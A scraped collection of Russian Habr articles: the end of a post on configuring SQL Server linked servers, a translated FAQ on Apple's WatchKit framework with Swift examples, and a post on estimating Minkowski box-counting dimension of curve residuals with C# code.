EXEC master.dbo.sp_addlinkedserver @server = N'MY_SERV_1', @datasrc=N'192.168.1.1'
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'MY_SERV_1',@useself=N'False',@locallogin='sa',@rmtuser='sa',@rmtpassword='1111111'
GO
EXEC master.dbo.sp_serveroption @server=N'MY_SERV_1', @optname=N'rpc', @optvalue=N'true'
GO
EXEC master.dbo.sp_serveroption @server= N'MY_SERV_1', @optname=N'rpc out', @optvalue=N'true'
GO
```
Запрос к созданному серверу выполняется, так же как и к своему, но в начале указывается префикс с именем связанного сервера. Так же при обращении нужно указывать имя схемы (в примере ниже схема называется ‘DBO’):
```
SELECT * FROM [MY_SERV_1'].MY_BASE.DBO.MY_TABLE
```
В общем, техническая поддержка в течение пары дней для всех учреждений прописала связанные сервера. Я дописал код, чтобы данные получались с серверов учреждений. Цифры в отчетах стали вновь верными и вопрос производительности решился. Вот так я быстро и легко вышел из сложной ситуации.
Конечно, изначально при разработке системы не стоит закладываться на связанные сервера для реализации описанной функциональности. Лучше изначально грамотно подойти к проектирование системы, например сделав ее на web, где будет один центральный сервер а чтобы все не тормозило держать в штате специалистов разбирающихся в оптимизации баз данных. Данный пример для случаев, когда система уже спроектирована, и переделать ее вряд ли получится. Так же связанный сервер будет полезен при выверке отчетов, в случае если данные есть только на продуктивном сервере, а менять хранимую процедуру можно только на сервере разработки. | https://habr.com/ru/post/346232/ | null | ru | null |
# Часто задаваемые вопросы по фреймворку WatchKit
[](https://habrahabr.ru/company/alconost/blog/257023/) Для разработчиков Apple Watch — не просто нашумевший гаджет. Теперь им приходится осваивать Watch Kit, чтобы создавать и адаптировать свои приложения для «умных» часов. По мере знакомства с этой технологией, конечно же, возникает множество вопросов.
Мы в компании [Alconost](http://alconost.com/?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=watchkit) перевели обширный FAQ по фреймворку WatchKit. Будем рады, если труд наших технических переводчиков окажется для вас полезным. Для некоторых вопросов четких решений пока нет: в таких случаях следует полагаться на здравый смысл, советы специалистов и обоснованные предположения. Эта технология все еще в значительной мере находится в разработке, а следовательно, может изменяться. Тем не менее, ответы на многие животрепещущие вопросы уже найдены. Приглашаем вас под кат!
[](https://habrahabr.ru/company/alconost/blog/257023/)
**Основные вопросы**
--------------------
### **Что такое WatchKit и как это работает?**
WatchKit — это фреймворк компании Apple для создания гибридных приложений для часов Apple Watch, в состав которого входит Xcode 6.2.
WatchKit разделяет приложение на две части:
* часы **Apple Watch** содержат лишь ресурсы интерфейса пользователя, такие как раскадровка и каталог активов. Даже обрабатывая вводимую пользователем информацию, часы Apple Watch самостоятельно не исполняют код. Иными словами, часы работают как [тонкий](http://en.wikipedia.org/wiki/Thin_client) клиент;
* **iPhone** содержит весь код и выполняет его как программное расширение — например, как расширения приложений Today или Action.
Примечательно то, что такой обмен информацией между часами Apple Watch и iPhone происходит автоматически и незаметно.
Вы работаете как обычно, а WatchKit осуществляет весь обмен данными по беспроводному каналу. Что касается кода, который вы пишете, то ваши вью и аутлеты подключаются локально, даже при том, что расположены на отдельном устройстве. Очень удобно!
### **Можно ли разрабатывать приложения для часов Apple Watch на языке Swift?**
Да, приложения для часов Apple Watch можно разрабатывать как на языке Objective-C, так и на языке Swift (*примечание переводчика: кстати, мы в* [*Alconost*](http://alconost.com/services/technical-translation?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=watchkit) *перевели* [*часть документации*](http://habrahabr.ru/company/alconost/blog/243515/) *по этому языку*), а можно использовать и сразу два языка. В качестве примера компания Apple опубликовала два проекта для среды WatchKit:
* [Каталог WatchKit: использование элементов интерфейса WatchKit](https://developer.apple.com/library/prerelease/iOS/samplecode/WKInterfaceCatalog/Introduction/Intro.html), написанный полностью на языке Objective-C.
* [Приложение-помощник Lister](https://developer.apple.com/library/prerelease/iOS/samplecode/Lister/Introduction/Intro.html) — в двух вариантах: на языках Objective-C и Swift.
Кроме того, [«Пособие по WatchKit](http://www.raywenderlich.com/89562/WatchKit-tutorial-with-swift-getting-started)», [«Серия практических видеозанятий по WatchKit](http://www.raywenderlich.com/89685/video-tutorial-WatchKit-part-0-introduction)» и книга [«Учебные материалы по фреймворку WatchKit](http://www.raywenderlich.com/store/watchkit-by-tutorials)» написаны исключительно на языке Swift.
Apple предоставляет документацию по [фреймворку WatchKit](https://developer.apple.com/library/prerelease/iOS/documentation/WatchKit/Reference/WatchKit_framework/index.html) на языках Objective-C и Swift.
### **Можно ли создавать собственные циферблаты для часов?**
Нет, пользовательские циферблаты для часов пока не поддерживаются.
*Изменение циферблатов для часов пока не поддерживается!*
### **Сколько часов Apple Watch можно подключить к одному устройству iPhone?**
Подключение монопольное, поэтому единовременно к одному устройству iPhone можно подключить только одни часы Apple Watch.
### **Можно ли подключить часы Apple Watch к планшету iPad?**
Нет. Сейчас часы Apple Watch можно подключать только к iPhone.
### **Может ли приложение на смартфоне iPhone «разбудить» свое расширение WatchKit и приложение в часах?**
Нет. Расширение WatchKit может лишь запросить у системы запуск сопутствующего приложения для устройства iPhone, и оно сделает это в фоновом режиме. Сейчас работа в обратном направлении не поддерживается.
### **Могут ли сторонние приложения делать телефонные звонки с приложения для часов?**
Нет. Не существует открытого API, который позволял бы инициировать телефонный звонок напрямую из расширения WatchKit. Поскольку сопутствующее приложение для iPhone также нельзя вынести на приоритетный уровень, система игнорирует все телефонные звонки или запросы *openURL:* с сопутствующего приложения смартфона.
### **Можно ли получить доступ к датчику пульса и другим датчикам часов из приложения для часов?**
Нет. Программного интерфейса для доступа к аппаратным сенсорам на часах Apple Watch пока нет.
### **В чем разница между кратким, длительным, статичным и динамичным уведомлениями?**
* **Краткое уведомление** (Short-Look) подается системой. Как и в случае уведомительного баннера на устройстве iPhone, контролировать краткие уведомления нельзя. Краткое уведомление показывает пиктограмму, название приложения и строку заголовка уведомления. Пришедшее уведомление отображается в «кратком» виде. Если пользователь поднимает запястье, то после небольшой паузы краткое уведомление сменяется длительным уведомлением.
* **Длительное уведомление** (Long-Look) может быть либо статичным, либо динамичным:
— **статичное уведомление** содержит единственную текстовую строку, которая заполняется автоматически с помощью информационного наполнения уведомления. Можно создать сцену для статичного уведомления в раскадровке приложения для часов, но в плане кастомизации можно лишь поменять цвет разделяющей полосы и заголовка;
— **динамичное уведомление** требует разбивки на подклассы **WKUserNotificationInterfaceController**. Оно инстанцируется из раскадровки и позволяет определить собственный интерфейс. Следует иметь в виду, что интерфейс динамичного уведомления отображается не всегда. Например, если аккумулятор часов садится, для экономии заряда система может решить показывать интерфейс статичного уведомления вместо динамичного, поскольку статичные уведомления потребляют меньше энергии.
**Под капотом**
---------------
*Выбор соответствующей схемы*
### **Как проверить представление «быстрый просмотр» или уведомление с помощью симулятора?**
Для запуска в симуляторе для каждого «быстрого просмотра» и уведомления нужна собственная схема сборки. Просто выбираете соответствующую схему, собираете и запускаете.
### **Можно ли разместить элементы интерфейса один поверх другого?**
Нет. По умолчанию элементы интерфейса не могут размещаться один поверх другого. Однако это ограничение можно обойти. Например, можно использовать группу **WKInterfaceGroup** и установить фоновое изображение для того, что представляет собой элемент управления, поверх которого нужно добавить другой. Затем внутри этой группы можно добавить необходимые текстовые строки, кнопки и т. д.
### **Можно ли настроить свойство CALayer элементов интерфейса?**
Нет. У элементов интерфейса часов Apple Watch нет свойства **CALayer**, поскольку они не происходят ни от класса **UIView**, ни от класса **CALayer**.
### **Можно ли разделить на подклассы те классы, которые есть во фреймворке WatchKit?**
Ничто не мешает разбить на подклассы какой-либо класс во фреймворке WatchKit, но может случиться так, что использовать эту возможность не получится. На подклассы *можно* разбить некоторые классы, такие как **WKInterfaceController** и **WKUserNotificationInterfaceController**, — и использовать их в раскадровке.
Однако раскадровка приложения часов не позволяет изменять класс элементов интерфейса. Нельзя динамично создавать элементы интерфейса и вставлять или удалять их как отображаемые подэлементы; можно лишь скрыть или показать те элементы интерфейса, которые уже есть в раскадровке.
### **Можно ли комбинировать контроллеры интерфейса на базе страницы и на базе перемещения?**
Можно, но с некоторыми ограничениями.
Если у вас **иерархический интерфейс**, то интерфейс на базе страниц можно представить с помощью модулей. Если какая-либо из страниц является иерархическим интерфейсом, тогда отображается его корневой каталог, и добавить в его стек ничего не получится.
Если у вас **интерфейс на базе страницы**, иерархический интерфейс можно представить с помощью модулей, но отображаться будет лишь контроллер корневого интерфейса, и добавить в его стек ничего не получится.
### **Есть ли в часах Apple Watch эквиваленты для классов UIActivityIndicator и UIAlertController?**
Нет, но вместо класса **UIAlertController** можно модально отобразить пользовательский **WKInterfaceController**.
Индикатор действий можно обойти, добавив последовательность изображений для создания необходимой анимации, — или просто отобразить текстовую строку с соответствующим текстом. Как это делается, можно посмотреть в [примере приложения Lister](https://developer.apple.com/library/prerelease/iOS/samplecode/Lister/Introduction/Intro.html), предоставленном корпорацией Apple: в режиме «быстрого взгляда» одну круговую анимацию приложения часов представляют 360 изображений!
### **Можно ли использовать Core Graphics для динамичного создания изображений, а затем использовать их в приложении для часов? Могут ли они кэшироваться на часах?**
Да, это возможно, но любые изображения с использованием Core Graphics должны составляться на iPhone как часть расширения. Как только графический контекст Core Graphics переведен в экземпляр класса **UIImage**, его можно разместить на часах с помощью метода **addCachedImage(\_:name:)** из класса **WKInterfaceDevice**.
### **Можно ли использовать пользовательские представления в часах Apple Watch и настраивать элементы интерфейса вне рамок открытого API часов?**
Нет. Пользовательские представления использовать нельзя. WatchKit поддерживает лишь некоторые собственные элементы интерфейса. Эти элементы нельзя разбивать на подклассы или настраивать вне рамок их открытого API. Есть следующие элементы интерфейса: **WKInterfaceLabel**, **WKInterfaceButton**, **WKInterfaceImage**, **WKInterfaceGroup**, **WKInterfaceSeparator**,**WKInterfaceTable**, **WKInterfaceSwitch**, **WKInterfaceMap**, **WKInterfaceSlider** и **WKInterfaceTimer**.
### **Как часы Apple Watch обмениваются информацией с устройством iPhone?**
Для обмена информацией со связанным устройством iPhone часы Apple Watch оптимальным образом используют технологии Bluetooth LE и Wi-Fi. Реализация такого обмена информацией не прозрачна ни для пользователей, ни для разработчиков.
### **Можно ли использовать часы Apple Watch в автономном режиме?**
Да. После активации автономного режима можно включить Bluetooth и Wi-Fi для обмена данными и использования часов.
*Включение Wi-Fi и Bluetooth после активации автономного режима*
### **Что происходит с приложением, когда часы Apple Watch не могут обмениваться информацией со связанным устройством iPhone?**
Попросту говоря, приложение не будет работать, а если оно уже работает, то работа будет приостановлена.
В расширении WatchKit на текущий контроллер интерфейса будет вызван метод **didDeactivate()**, и можно будет сделать необходимую очистку. В статусной строке часов высветится красная пиктограмма устройства iPhone, указывая на потерю связи, а интерфейс останется на экране, но не будет интерактивен. Пользователи могут либо восстановить связь, либо выйти из приложения.
### **Как приложение часов обменивается информацией с сопутствующим приложением на устройстве iPhone?**
Делается это по-разному. Самый распространенный способ — когда приложение часов записывает или обновляет данные в совместно используемом контейнере, а затем уведомляет приложение на смартфоне. После этого приложение на смартфоне может извлечь изменения из совместно используемого контейнера.
Другой способ заключается в том, чтобы перенести данные в приложение устройства iPhone через словарь, но такой метод может быть инициирован лишь приложением часов. Для этого в расширении WatchKit существует отдельный API: вызывается метод **openParentApplication(userInfo:reply:)** класса **WKInterfaceController**, как показано в следующем примере:
| |
| --- |
|
```
// Notify companion iPhone app of some changes in the shared container.
let kSharedContainerDidUpdate = "com.rayWenderlich.shared-container.didUpdate"
let requestInfo: [NSObject: AnyObject] = [kSharedContainerDidUpdate: true]
WKInterfaceController.openParentApplication(requestInfo) { (replyInfo: [NSObject : AnyObject]!, error: NSError!) -> Void in
// Handle the reply from the companion iPhone app...
}
```
|
В словаре **userInfo** вы просто переносите метку или некоторые данные для сопутствующего приложения iPhone, с которыми необходимо совершить действия. Чтобы получить такое сообщение, сопутствующее приложение устройства iPhone должно исполнить **application(\_:handleWatchKitExtensionRequest:reply:)** в своем делегате приложения:
| |
| --- |
|
```
func application(application: UIApplication!, handleWatchKitExtensionRequest userInfo: [NSObject : AnyObject]!, reply: (([NSObject : AnyObject]!) -> Void)!) {
let kSharedContainerDidUpdate = "com.rayWenderlich.shared-container.didUpdate"
if let isUpdate = userInfo[kSharedContainerDidUpdate] as? Bool {
// Process request, then call reply block
reply(...)
}
}
```
|
Если работа сопутствующего приложения смартфона приостановлена или прекращена, система запустит его в фоновом режиме. В зависимости от цели сообщения сопутствующее приложение iPhone может вывести что-нибудь в блоке ответа, который приложение часов может затем соответствующим образом обработать.
### **Как приложение устройства iPhone обменивается информацией с приложением для часов?**
Приложение на устройстве iPhone не может инициировать обмен информацией со своим расширением. Помимо записи в совместно используемый контейнер или ответа на запросы приложения часов приложение на смартфоне может использовать [центр уведомлений Darwin Notification Center](https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html) для уведомления расширения WatchKit о конкретном событии. Центр уведомлений Darwin Notification Center – это API фреймворка Core Foundation.
При использовании центра уведомлений Darwin Notification Center необходимо помнить о некоторых очень важных моментах:
* у приложения есть лишь один центр уведомлений Darwin Notification Center;
* все уведомления Darwin являются общесистемными;
* для доставки уведомлений цикл исполнения основного потока должен осуществляться в одном из общих режимов, таких как **kCFRunLoopDefaultMode**;
* чтобы обрабатывать отправку и получение уведомлений Darwin, приложение на часах и приложение на смартфоне должны работать на переднем плане;
* посредством уведомлений Darwin нельзя передавать объекты, поскольку такие уведомления содержат лишь имя и словарь **userInfo**;
* уведомления Darwin не являются «настойчивыми» и доставляются незамедлительно. Следовательно, если работа инструмента наблюдения приостановлена, прекращена или он перемещен в фоновый режим, уведомление будет утеряно.
### **Что будет, если не использовать статичный или динамичный интерфейсы уведомлений?**
Даже если для приложения на устройстве iPhone нет сопутствующего приложения для часов, система будет отображать на часах уведомления для такого приложения. Однако у интерфейса для уведомлений по умолчанию нет настраиваемого оформления. Если у приложения есть интерактивные уведомления, на часах система скроет эти действия.
### **В чем разница между методами setImage(\_:) и setImageNamed(\_:)?**
Метод **setImageNamed(\_:)** используется, когда изображение, которое нужно отобразить, либо хранится в кэше часов, либо находится в каталоге активов комплекта приложения часов, а **setImage(\_:)** следует использовать тогда, когда изображение не хранится в кэше — так данные изображения передадутся в часы Apple Watch по беспроводному каналу.
Изображение хранится в кэше часов, если оно отвечает *одному* из следующих критериев:
1. В проекте изображение связано с целью приложения для часов, то есть изображение располагается в каталоге активов, относящемся к цели приложения часов в проекте.
2. Изображение было непосредственно помещено в кэш заранее посредством одних их следующих API класса **WKInterfaceDevice**: **addCachedImage(\_:name:)** или **addCachedImageWithData(\_:name:)**.
### **Можно ли использовать iCloud в приложении для часов?**
Да, в приложении для часов Apple Watch можно использовать iCloud. Как это делать, можно посмотреть на примере [приложения-помощника Lister](https://developer.apple.com/library/prerelease/iOS/samplecode/Lister/Introduction/Intro.html) — одного из простых проектов, опубликованных компанией Apple.
**Анимация**
------------
### **Как добавить анимацию в приложение для часов?**
Единственный способ отображения анимации на часах Apple Watch — **последовательность изображений**. Для создания анимации необходимо заранее создать серию изображений, а затем циклически пройти их, как в нарисованном в блокноте мультфильме. Времена анимированных GIF вернулись! ;]
Для создания собственной анимации можно отобразить последовательность статических изображений в объекте **WKInterfaceImage**.
| |
| --- |
|
```
@IBOutlet weak var image: WKInterfaceImage?
...
image?.setImageNamed(image1) // Load the initial image using the required format
image?.startAnimating() // Starts animating
...
image?.stopAnimating() // Optional. Stops animating.
```
|
Также можно анимировать лишь часть подборки изображений, как показано в следующем отрывке кода:
| |
| --- |
|
```
image?.startAnimatingWithImagesInRange(range, duration: 2, repeatCount: 1)
```
|
### **Можно ли создавать анимации для часов Apple Watch в виде кода?**
Да — но, возможно, не так, как вы думаете. Как сказано выше, здесь нет фреймворка Core Animation или его эквивалента. Можно использовать Core Graphics для предоставления каждому кадру анимации закадрового контекста, присвоить его экземпляру **UIImage**, и, в конце концов, получится серия изображений, которые можно анимировать на часах Apple Watch.
В следующих отрывках кода показано, как можно создать анимацию для движущегося круга с использованием фреймворка Core Graphics посредством генерирования последовательности изображений для каждого кадра (код любезно предоставлен Джеком Ву (Jack Wu), одним из авторов пособия «[Учебные материалы по фреймворку WatchKit](http://www.raywenderlich.com/store/watchkit-by-tutorials)»):
| |
| --- |
|
```
// Create an offscreen context
UIGraphicsBeginImageContextWithOptions(size, opaque, scale)
let context = UIGraphicsGetCurrentContext()
for centerX in 0..100 {
// Draw a circle at centerX.
// Create a snapshot.
let image = UIGraphicsGetImageFromCurrentImageContext()
// Write the image as a file
let data = UIImagePNGRepresentation(image)
let file = "path\\image_\(centerX).png"
data.writeToFile(file, atomically: true)
}
// End the context.
UIGraphicsEndImageContext()
```
|
### **Какова максимальная частота кадров на часах Apple Watch?**
Установить частоту анимации кадров на часах Apple Watch нельзя. Однако можно установить продолжительность анимации, и система автоматически определит частоту кадров.
Если последовательность изображений направляется по беспроводному каналу — например, когда изображения не помещены в кэш, — они будут проходить со скоростью до 10 кадров в секунду. Если изображения уже помещены в кэш на часах Apple Watch через кэш изображений или каталог активов в комплекте приложения WatchKit, они будут проходить со скоростью до 30 кадров в секунду.
**Отладка и модульное тестирование**
------------------------------------
### **Как запустить и отладить приложение устройства iPhone одновременно с приложением для часов Apple Watch с использованием симуляторов?**
1. Соберите и запустите приложение для часов — запустится симулятор часов Apple Watch и приложение для часов, которое привяжется к отладчику.
2. Затем в симуляторе iOS запустите приложение для смартфона, коснувшись его пиктограммы.
3. Теперь вернитесь в Xcode и в верхнем меню нажмите **Debug\Attach To Process**, затем выберите соответствующее приложение для устройства iPhone — так в отладочный браузер Xcode добавится новый процесс, а приложение для смартфона привяжется к отладчику.
### **Как провести модульное тестирование расширения WatchKit?**
Модульные тесты приложения для часов создаются так же, как и модульные тесты приложений для устройств iPhone и iPad: достаточно добавить в проект новую цель модульного тестирования для расширения WatchKit. Однако указать приложение для часов в качестве приложения хоста не получится.
*В «целях» приложения для устройства iPhone само приложение для смартфона отображается как приложение хоста*
*А для расширения WatchKit приложение хоста отсутствует*
В цель модульного тестирования расширения WatchKit необходимо по отдельности добавлять каждый файл, который нужно протестировать.
*Из расширения WatchKit в цель модульного тестирования добавьте файлы, которые нужно протестировать*
**Совместное использование данных**
-----------------------------------
### **Как организовать совместное использование данных между расширением WatchKit и соответствующим приложением операционной системы iOS?**
Для этого необходимо активировать группы приложений **App Groups** — контейнер в локальной файловой системе, к которому могут иметь доступ расширение и содержащее его приложение для устройства iPhone. Можно определить несколько групп приложений и активировать их для различных расширений.
После активации групп приложений можно использовать любой подходящий метод из следующих:
* Чтение и запись напрямую в совместно используемом контейнере. URL-адрес совместно используемого контейнера можно получить посредством обращения к объекту **NSFileManager**. Для этого используется следующий API:
| |
| --- |
|
```
let kMyAppGroupName = "com.raywenderlich.mywatchapp.container"
var sharedContainerURL: NSURL? = NSFileManager.defaultManager().
containerURLForSecurityApplicationGroupIdentifier(kMyAppGroupName)
```
|
* Использование совместного объекта **NSUserDefaults**. Для создания хранилища по умолчанию в совместно используемом контейнере необходимо инициализировать новый экземпляр **NSUserDefaults** с использованием инструкции **NSUserDefaults(suiteName:)** и передать уникальный идентификатор группы приложений, например:
| |
| --- |
|
```
let kMyAppGroupName = "com.raywenderlich.mywatchapp.container"
let sharedUserDefaults = NSUserDefaults(suiteName: kMyAppGroupName)
```
|
**Примечание.** Во избежание порчи данных считывать и записывать данные в совместно используемом контейнере необходимо согласованно, поскольку к совместно используемому контейнеру могут одновременно обращаться разные процессы. Для согласования чтения и записи рекомендуется использовать **NSFilePresenter** и **NSFileCoordinator**. Не рекомендуется использовать API согласования файлов в расширении приложения, поскольку это может привести к зависанию.
Причина такого поведения — жизненный цикл расширений приложения. У расширений приложения есть всего 3 состояния: а) исполняется, б) приостановлено и в) завершено. Если работа расширения приложения, которое использует API согласования файлов, приостановлена во время записи, у такого процесса не будет возможности освободить ресурс, и другие процессы окажутся заблокированы.
Когда приложение для устройств iPhone или iPad перемещается на задний план, оно получает уведомление через своего делегата приложения, и затем должно удалить объекты-презентаторы. Когда приложение снова переносится на передний план, эти объекты-презентаторы можно добавить вновь.
Вместо этого можно воспользоваться атомарной операцией безопасного сохранения, например **writeToURL(\_:atomically:)** в классе **NSData**. SQLite и Core Data также позволяют безопасно обмениваться данными в совместно используемом контейнере между различными процессами, даже если один из них приостановлен в момент выполнения операции.
Подробнее об этом можно узнать в разделе [«Техническое примечание TN2408. Доступ к совместно используемым данным из расширения и содержащего его приложения](https://developer.apple.com/library/prerelease/iOS/technotes/tn2408/_index.html)».
### **Как совместно использовать базу данных Core Data между приложением для часов и приложением для устройства iPhone?**
Для совместного использования файла из постоянного хранилища Core Data необходим тот же механизм, который показан в примере совместного использования данных. Ниже приводится отрывок кода, демонстрирующий работу механизма:
| |
| --- |
|
```
let kMyAppGroupName = "com.raywenderlich.mywatchapp.container"
var sharedContainerURL: NSURL? = NSFileManager.defaultManager().
containerURLForSecurityApplicationGroupIdentifier(kMyAppGroupName)
if let sharedContainerURL = sharedContainerURL {
let storeURL = sharedContainerURL.URLByAppendingPathComponent("MyCoreData.sqlite")
var coordinator: NSPersistentStoreCoordinator? =
NSPersistentStoreCoordinator(managedObjectModel: self.managedObjectModel)
coordinator?.addPersistentStoreWithType(NSSQLiteStoreType,
configuration: nil,
URL: storeURL,
options: nil,
error: nil)
}
```
|
**Приступаем к делу**
---------------------
### **Можно ли делать игры для часов Apple Watch? Какие игры подходят?**
Хотя еще слишком рано говорить о том, какие виды игр будут пользоваться успехом и захотят ли пользователи играть в игры на часах, однако почти с полной уверенностью можно сказать, что часы Apple Watch следует рассматривать в другом свете.
Для разработки игр на устройствах iPhone и iPad требовалось совсем иное мышление, нежели для игр на настольном компьютере. Так же и к часам Apple Watch необходим особенный подход.
Мы уже знаем об ограничениях платформы: на часах Apple Watch нет API для аппаратного доступа, они не поддерживают распознавание жестов и не позволяют рисовать на экране. Помните: можно использовать лишь собственные элементы интерфейса.
Но не позволяйте этим ограничениям останавливать полет творческой мысли — считайте их основополагающими принципами. :]
### **Как зарабатывать деньги с помощью приложений для часов Apple Watch?**
Еще слишком рано об этом говорить. Следует иметь в виду одно: платформа iAd не поддерживается, а с учетом малого размера экрана и времени, в течение которого пользователь будет взаимодействовать с приложением для часов, экранная реклама скорее всего будет раздражать пользователей и в любом случае не будет столь эффективной, чтобы оправдать финансовые затраты на нее.
Кроме того, если расширение WatchKit включено в комплект приложения, его нельзя будет деактивировать или иным образом помешать пользователю его установить. Поэтому его нельзя сделать платным дополнением, которое можно купить из приложения.
Однако способы монетизации расширений WatchKit все-таки есть:
* если в магазине App Store есть бесплатная и платная версии приложения, можно просто реализовать расширение WatchKit исключительно в платной версии приложения;
* в приложении с «внутренними» покупками можно просто отображать в расширении ограниченную информацию и разрешить пользователю разблокировать дополнительные функции посредством покупок из приложения.
Это, конечно же, не исчерпывающий перечень возможностей монетизации приложений WatchKit, но ясно одно: к монетизации следует подходить столь же творчески, как и к самим приложениям для часов.
### **Есть ли основания полагать, что приложения для часов — новый способ зарабатывать на жизнь посредством разработки приложений для магазина App Store?**
Какие-либо выводы делать преждевременно. И хотя часы Apple Watch — это действительно совершенно новая платформа, полная интересных возможностей, с ее появлением не начнется «золотая лихорадка», которую можно было наблюдать при открытии магазина App Store.
Нужно иметь в виду, что часы Apple Watch преследуют иную цель. Учитывая их внешний вид и цену, они ближе к украшению, которое обменивается информацией с iPhone, чем к самостоятельному устройству.
Однако расширение WatchKit может помочь тому или иному приложению выделиться из толпы. Как разработанные специально для планшетов iPad приложения пользовались большим успехом, чем приложения для смартфонов iPhone, просто подогнанные под iPad, так и хорошо разработанное приложение для часов Apple Watch, которое дополняет какое-либо приложение для устройства iPhone, может повысить продажи.
**А какие ваши прогнозы насчет Watch Kit?**
**О переводчике**
Перевод статьи выполнен в Alconost.
Alconost занимается [локализацией приложений, игр и сайтов](https://alconost.com/services/software-localization?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=watchkit) на 60 языков. Переводчики-носители языка, лингвистическое тестирование, облачная платформа с API, непрерывная локализация, менеджеры проектов 24/7, любые форматы строковых ресурсов.
Мы также делаем [рекламные и обучающие видеоролики](https://alconost.com/services/video-production?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=watchkit) — для сайтов, продающие, имиджевые, рекламные, обучающие, тизеры, эксплейнеры, трейлеры для Google Play и App Store.
Подробнее: [https://alconost.com](https://alconost.com?utm_source=habrahabr&utm_medium=article&utm_campaign=translation&utm_content=watchkit) | https://habr.com/ru/post/257023/ | null | ru | null |
# Об ограничениях в применимости метрики Минковского в цифровой обработке данных
Как-то давным-давно я наткнулся на вот [статью](http://habrahabr.ru/post/208368/) на хабре, в которой народ пишет как все круто и как хорошо работает метрика Минковского. Время шло и шло, а я все хотел и хотел. Наконец подвернулась задача к которой я захотел применить сие чудо, и вот что вышло:
Не-не-не, если сейчас я это сделаю, то вы и читать-то статью не будете. Это будет. но позже. А прежде я хочу описать задачу, с которой все началось:
Прям перед вами достаточно качественная аппроксимация по мнению алгоритма. Его винить-то не в чем: сходимость к результирующему полиному крайне медленная, средне квадратичное отклонение меняется нехотя, а из-за малого количества исходных точек (всего около двух сотен) распределение невязок в первом приближении выглядит как нормальное.
И вот, в поисках универсального критерия. который позволил бы мне отличить случайную последовательности от регулярной (я в курсе, что это целая проблема, но все же), пришла идея использовать фракталы. Дело в том, что размерность случайного блуждания =1.5. Есть надежда, что вычислив размерность кривой невязок, мы получим 1.5 +- разумные величины.
Вычислять размерность Хаусдорфа — это еще та затея, а вот с Минковским все гораздо проще, хотя и с ним пришлось попотеть.
Применим подход, который используется в отправной статье: меняя масштаб будем считать количество прямоугольников N, через которые проходит кривая. Получив зависимость log(N(e))/log(e) аппроксимируем прямойс помощью МНК. Искомая нами метрика — коэффициент наклона.
```
public double calculate(IEnumerable> dataList)
{
double minY = Double.MaxValue, maxY = Double.MinValue;
double minX = minY, maxX = maxY;
foreach (var pair in dataList)
{
if (minY > pair.Value)
minY = pair.Value;
if (maxY < pair.Value)
maxY = pair.Value;
if (minX > pair.Key)
minX = pair.Key;
if (maxX < pair.Key)
maxX = pair.Key;
}
m\_bottomLeftY = minY;
m\_bottomLeftX = minX;
return calculate(dataList, maxX, maxY);
}
public double calculate(IEnumerable> dataList, double maxX, double maxY)
{
if( dataList.Count() < 2) return 0;
for(int scaleNumber = StartSize; scaleNumber !=FinishSize; ++scaleNumber){
double XScale = (maxX - m\_bottomLeftX) / scaleNumber;
double YScale = (maxY - m\_bottomLeftY) / scaleNumber;
var enumerator = dataList.GetEnumerator();
fillBoxes( (ref double x, ref double y) => { var res = enumerator.MoveNext(); if (res) { x = enumerator.Current.Key; y = enumerator.Current.Value; } return res; }, XScale, YScale);
int count = calculatedNumberBoxesAndReset(scaleNumber);
if (count == 0) count = 1;
m\_boxesNumber[scaleNumber - StartSize] = Math.Log(count);
}
m\_linearApproximator.approximate(m\_scaleArgument, m\_boxesNumber);
return m\_linearApproximator.resultPolinomal.a[1];
}
double m\_bottomLeftX, m\_bottomLeftY;
```
В отличии от исходной статьи я меняю масштаб не в геометрической прогрессии, а в арифметической, слишком мало данных для первой. *m\_linearApproximator* — это обертка над МНК, ничего умного и сложного, а сам МНК можно найти либо в исходной статье. либо в MathNet.Numerics. Строчка *if (count == 0) count = 1* возникла из-за особенностей реализации. Она покрывает тот случай, когда у нас всего одна точка.
Вся магия находится в методе fillBoxes, именно здесь заполняются квадраты:
```
void fillBoxes(GetDataDelegate dataIterator, double stepX, double stepY)
{
double prevX=0, prevY=0, targetX=0, targetY=0;
dataIterator(ref prevX, ref prevY);
int indexY = FinishSize, indexX = FinishSize;
int currentIndexX= calculateIndex(m_bottomLeftX, stepX, prevX), currentIndexY =calculateIndex(m_bottomLeftY, stepY, prevY) ;
m_Boxes[currentIndexY, currentIndexX] = true;
double[] CrossPosition = new double[2];
while (dataIterator(ref targetX, ref targetY))
{
if(prevX == targetX && prevY == targetY)
continue;
bool isBottom = targetY - prevY < 0;
bool isLeft = targetX - prevX < 0;
double a = (targetY - prevY) / (targetX - prevX), fracA=1/a;
double b = targetY - a * targetX;
double leftBorder = m_bottomLeftX + currentIndexX * stepX, bottomBorder = m_bottomLeftY + currentIndexY * stepY;
CrossPosition[0] = (leftBorder + (isLeft ? 0 : stepX)) * a + b;
CrossPosition[1] = (bottomBorder + (isBottom ? 0 : stepY) - b) * fracA;
while ( (targetY < CrossPosition[0] == isBottom && Math.Abs(targetY - CrossPosition[0]) / stepY > 1E-9) ||
(targetX < CrossPosition[1] == isLeft && Math.Abs(targetX - CrossPosition[1]) / stepX > 1E-9) )//Нужно ли делать следующий шаг?
{
if ( (bottomBorder - CrossPosition[0])/stepY <= 1E-9 && (CrossPosition[0] - bottomBorder - stepY)/stepY <= 1E-9)
currentIndexX += isLeft ? -1 : 1;
if ( (leftBorder-CrossPosition[1])/stepX <= 1E-9 && (CrossPosition[1] -leftBorder - stepX)/stepX <= 1E-9 )
currentIndexY += isBottom ? -1 : 1;
m_Boxes[currentIndexY, currentIndexX] = true;
leftBorder = m_bottomLeftX + currentIndexX * stepX;
bottomBorder = m_bottomLeftY + currentIndexY * stepY;
CrossPosition[0] = (leftBorder + (isLeft ? 0 : stepX)) * a + b;
CrossPosition[1] = (bottomBorder + (isBottom ? 0 : stepY) - b) * fracA;
}
prevY = targetY;
prevX = targetX;
}
}
```
Исходные данные для меня — это набор точек. Про ни единственное что известно -, что измеряемый процесс непрерывен, а вот в сам процесс совсем произвольный: к случайным помехам разной мощности могу возникать и исчезать аддитиваня помеха. В этом случае единственный выход — линейная интерполяция. Как следствие малости входных данных ошибки связанные при проходе прямой через узел решетки недопустимы.
